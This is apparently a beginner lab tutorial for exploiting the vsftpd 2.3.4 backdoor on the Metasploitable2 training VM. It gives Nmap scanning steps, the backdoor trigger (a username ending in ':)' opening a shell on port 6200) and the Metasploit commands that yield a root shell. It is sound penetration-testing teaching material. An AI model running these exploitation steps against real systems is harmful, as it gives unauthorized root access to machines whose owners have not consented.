Exploiting vsftpd 2.3.4 on Metasploitable2 (Step-by-Step Guide for Beginners)

One of the biggest turning points in learning cybersecurity is understanding how attackers move from:

Discovery → Exploitation → Access

In a training session I led, students went from running a simple scan to gaining root access on a vulnerable machine. The excitement was great — but the real value was understanding how and why it worked.

In this guide, you'll replicate that exact process step by step.

---

What You’ll Learn

• How to scan a target using Nmap
• How to identify vulnerable services
• How the vsftpd 2.3.4 backdoor works
• How to exploit it using Metasploit
• How to gain root access

---

Prerequisites

Make sure your lab is ready:

• Kali Linux (attacker)

• Metasploitable2 (target)

• Both machines on the same network (NAT or Host-only)

Step 1: Get the Target IP

On Metasploitable2:

ifconfig

Look for something like:

192.168.56.101

Step 2: Scan with Nmap

On Kali:

nmap -sV target_ip

Why -sV matters

Detects service versions
Helps you find known vulnerabilities

Key Result
21/tcp open ftp vsftpd 2.3.4

👉 This is your entry point.

Step 3: Understand the Vulnerability

vsftpd 2.3.4 contains a backdoor.

Trigger condition:
Login using a username ending with:
:)
What happens:
A shell opens on port 6200

This is intentionally vulnerable — perfect for learning exploitation.

Step 4: Start Metasploit on kali

msfconsole

Step 5: Find the Exploit

search vsftpd

Expected result:
exploit/unix/ftp/vsftpd_234_backdoor

Step 6: Load the Exploit

use exploit/unix/ftp/vsftpd_234_backdoor

Step 7: Set Target IP

set RHOST target_ip

Step 8: Run the Exploit

run

If successful:

Command shell session 1 opened

Step 9: Confirm Access

whoami

Output:

root

🎉 You now have root access.

Key Concepts (Simple Breakdown)

Reconnaissance
Finding open ports and services
Example tool: Nmap

Enumeration
Identifying versions and weaknesses
This is where real attack paths appear

Exploitation
Using a vulnerability to gain access
In this case: a built-in backdoor

Metasploit
A framework that automates exploitation
Saves time and standardizes attacks

Common Beginner Mistakes

1. Skipping Version Detection

Wrong:

nmap target_ip

Correct:

nmap -sV target_ip

1. Using the Wrong IP Mixing attacker and target IP Using 127.0.0.1 incorrectly

✔ Always verify:

ifconfig

1. Network Misconfiguration

If nothing works:

Check both VMs are on the same network

1. Forgetting RHOST
   set RHOST target_ip

2. Blindly Running Exploits

Don’t just run tools — ask:

Why does this vulnerability exist?
What triggered it?
How would this look in a real system?
Pro Tips
Run deeper scans
nmap -A target_ip
Think like a professional

Use a workflow:

Scan
Identify
Research
Exploit
Validate
Conclusion

This lab shows a complete beginner-friendly attack chain:

Discover a service
Identify its version
Find a vulnerability
Exploit it
Gain access

Even though this is a deliberately vulnerable system, the process is exactly how real penetration testing works.

The goal is not just to hack — but to understand.

Next Steps
Repeat this lab without guidance
Document it on GitHub (build your portfolio)
Try another vulnerable service on Metasploitable2
Final Note

If you're learning cybersecurity:

Stay consistent.
Stay curious.
Keep building.

Follow for more hands-on cybersecurity labs and real-world breakdowns.